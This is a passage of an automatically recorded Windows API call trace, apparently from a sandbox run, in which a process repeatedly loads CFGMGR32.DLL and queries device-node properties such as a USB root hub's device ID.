lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0216.851] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0216.851] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0216.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0216.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0216.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0216.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0216.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0216.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0216.853] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0216.853] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0216.853] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0216.853] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0216.854] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0216.854] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0216.854] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0216.854] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0216.854] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0216.854] malloc (_Size=0x18) returned 0x196ef0d2020 [0216.855] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xc, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0216.855] malloc (_Size=0x48) returned 0x196ef0fb810 [0216.855] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x621d52d1, dwHighDateTime=0x1d9eb0c)) [0216.857] SetEvent (hEvent=0x248) returned 1 [0216.865] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0216.865] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0216.865] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0216.866] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0216.866] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0216.866] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0216.866] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0216.867] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0216.867] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0216.867] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0216.867] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0216.868] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0216.868] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0216.868] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0216.868] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0216.868] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0216.868] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0216.869] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0216.869] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0216.870] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0216.870] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0216.870] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0216.870] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0216.870] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0216.871] CM_Get_Device_IDA (in: dnDevInst=0xd, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="USB\\ROOT_HUB20\\4&13A29EA8&0") returned 0x0 [0216.871] malloc (_Size=0x48) returned 0x196ef0fb8b0 [0216.871] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x621fc22e, dwHighDateTime=0x1d9eb0c)) [0216.871] SetEvent (hEvent=0x248) returned 1 [0216.878] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0216.878] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0216.878] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0216.879] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0216.879] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0216.879] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0216.879] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0216.879] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0216.879] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0216.880] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0216.880] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0216.880] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0216.880] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0216.880] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0216.881] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0217.069] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0217.070] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0217.070] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0217.070] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0217.070] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0217.070] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0217.070] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0217.070] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0217.071] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0217.071] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xd, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0217.071] malloc (_Size=0xac) returned 0x196ef0f8c60 [0217.071] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xd, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0f8c60, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0f8c60, pulLength=0x67117d608) returned 0x0 [0217.072] free (_Block=0x196ef0f8c60) [0217.072] malloc (_Size=0x48) returned 0x196ef0fb4f0 [0217.072] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x623d4cce, dwHighDateTime=0x1d9eb0c)) [0217.073] SetEvent (hEvent=0x248) returned 1 [0217.077] malloc (_Size=0x18) returned 0x196ef0d1de0 [0217.077] SafeArrayPutElement (psa=0x196ef1f2670, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0217.077] free (_Block=0x196ef0d1de0) [0217.077] malloc (_Size=0x18) returned 0x196ef0d1da0 [0217.077] SafeArrayPutElement (psa=0x196ef1f2670, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0217.077] free (_Block=0x196ef0d1da0) [0217.078] malloc (_Size=0x18) returned 0x196ef0d1e60 [0217.078] SafeArrayPutElement (psa=0x196ef1f2670, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0217.078] free (_Block=0x196ef0d1e60) [0217.078] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855e60 [0217.078] SafeArrayGetDim (psa=0x196ef1f2670) returned 0x1 [0217.078] SafeArrayGetLBound (in: psa=0x196ef1f2670, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0217.078] SafeArrayGetUBound (in: psa=0x196ef1f2670, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0217.079] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0217.079] SafeArrayGetDim (psa=0x196ef1f2670) returned 0x1 [0217.079] SafeArrayGetUBound (in: psa=0x196ef1f2670, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0217.079] SafeArrayGetElemsize (psa=0x196ef1f2670) returned 0x8 [0217.080] SafeArrayGetElement (in: psa=0x196ef1f2670, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0217.081] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e410, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0217.082] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e418, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0217.082] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e420, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0217.084] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0217.084] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855e60) returned 1 [0217.086] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0217.086] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0217.087] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0217.087] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0217.088] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0217.088] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0217.088] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0217.089] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0217.089] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0217.090] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0217.090] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0217.091] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0217.091] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0217.092] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0217.092] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0217.092] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0217.093] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0217.093] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0217.093] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0217.094] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0217.094] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0217.094] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0217.095] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0217.096] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0217.096] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xd, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0217.097] malloc (_Size=0x48) returned 0x196ef0fbbd0 [0217.097] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x6242075d, dwHighDateTime=0x1d9eb0c)) [0217.097] SetEvent (hEvent=0x248) returned 1 [0217.103] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0217.103] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0217.103] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0217.103] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0217.104] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0217.104] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0217.105] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0217.105] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0217.105] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0217.105] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0217.106] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0217.106] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0217.106] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0217.106] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0217.107] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0217.107] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0217.107] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0217.107] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0217.107] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0217.108] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0217.108] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0217.108] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0217.108] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0217.109] malloc (_Size=0x18) returned 0x196ef0d1c20 [0217.109] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xd, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0217.244] malloc (_Size=0x48) returned 0x196ef0fb4f0 [0217.244] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x625776c0, dwHighDateTime=0x1d9eb0c)) [0217.244] SetEvent (hEvent=0x248) returned 1 [0217.248] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0217.248] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0217.248] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0217.249] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0217.249] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0217.249] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0217.249] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0217.249] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0217.249] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0217.249] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0217.249] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0217.250] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0217.250] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0217.250] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0217.250] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0217.250] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0217.250] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0217.251] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0217.251] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0217.251] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0217.251] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0217.251] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0217.251] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0217.251] malloc (_Size=0x18) returned 0x196ef0d2000 [0217.252] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xd, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0217.252] malloc (_Size=0x48) returned 0x196ef0fb680 [0217.252] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6259dbc8, dwHighDateTime=0x1d9eb0c)) [0217.252] SetEvent (hEvent=0x248) returned 1 [0217.256] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0217.256] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0217.256] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0217.256] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0217.257] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0217.257] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0217.257] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0217.257] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0217.257] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0217.258] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0217.258] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0217.258] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0217.258] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0217.258] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0217.258] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0217.258] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0217.259] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0217.259] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0217.259] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0217.259] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0217.259] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0217.259] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0217.259] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0217.260] malloc (_Size=0x18) returned 0x196ef0d1d00 [0217.260] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xd, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0217.260] malloc (_Size=0x48) returned 0x196ef0fbe50 [0217.260] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6259dbc8, dwHighDateTime=0x1d9eb0c)) [0217.260] SetEvent (hEvent=0x248) returned 1 [0217.265] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0217.265] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0217.265] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0217.265] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0217.265] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0217.266] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0217.266] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0217.266] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0217.266] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0217.266] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0217.267] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0217.267] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0217.267] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0217.267] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0217.268] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0217.268] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0217.268] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0217.268] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0217.268] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0217.268] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0217.269] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0217.269] GetProcAddress 